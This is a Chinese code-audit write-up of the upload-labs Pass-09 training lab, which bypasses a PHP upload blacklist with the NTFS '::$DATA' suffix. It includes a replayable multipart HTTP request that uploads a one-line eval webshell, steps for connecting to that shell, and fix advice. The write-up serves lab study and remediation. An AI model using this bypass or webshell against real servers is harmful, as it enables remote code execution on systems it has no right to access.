upload-labs_Pass-09_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-09
漏洞类型 NTFS 数据流后缀绕过(::$DATA)
审计日期 2026-08-09
目标文件 Pass-09/index.php

二、漏洞概述

Pass-09 采用黑名单机制,并对文件名进行了去点、小写转换和去空处理,但遗漏了去除 NTFS 备用数据流标识符 ::$DATA。攻击者可以上传 shell.php::$DATA,使黑名单校验无法匹配,Windows 系统会将其保存为 shell.php,从而绕过限制执行 PHP 代码。

  • 危险等级:高危
  • 影响范围:Windows + NTFS 环境下可上传并执行 PHP 脚本

三、问题代码位置

文件路径Pass-09/index.php

问题代码片段(第 9-22 行)

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

四、漏洞分析

4.1 为什么存在这个问题

Windows NTFS 文件系统支持备用数据流(Alternate Data Streams, ADS),语法为 filename.ext::$DATA。当通过 PHP 的 move_uploaded_file() 保存 shell.php::$DATA 时,Windows 会忽略 ::$DATA 部分,实际创建文件 shell.php。本关代码未对 ::$DATA 进行处理,strrchr() 提取的扩展名为 .php::$DATA,不在黑名单中,从而绕过校验。

4.2 校验逻辑缺陷

  • 缺少 str_ireplace('::$DATA', '', $file_ext) 处理。
  • 黑名单无法匹配包含 ::$DATA 的扩展名。
  • 保存路径使用了包含 ::$DATA 的扩展名,Windows 自动规范化为 .php

五、利用思路

攻击者构造文件名为 shell.php::$DATA 的 WebShell。服务端提取扩展名 .php::$DATA,不在黑名单中,校验通过。Windows NTFS 在保存文件时忽略 ::$DATA,生成 shell.php,Apache 即可解析执行。


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-09/index.php
  • 目标环境为 Windows + NTFS
  • WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-09/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 发送请求,服务端返回上传成功。
  4. 访问上传文件:http://target.com/upload-labs/upload/202608091234567890.php(Windows 已去除 ::$DATA)。
  5. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 去除 ::$DATA 字符串:在提取扩展名后执行 str_ireplace('::$DATA', '', $file_ext)
  2. 使用白名单机制:仅允许安全的图片后缀。
  3. 重命名上传文件:避免使用用户可控的文件名。
  4. 上传目录禁止脚本执行:从 Web 服务器层限制解析。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(trim(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION)));
$ext = str_ireplace('::$DATA', '', $ext);
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部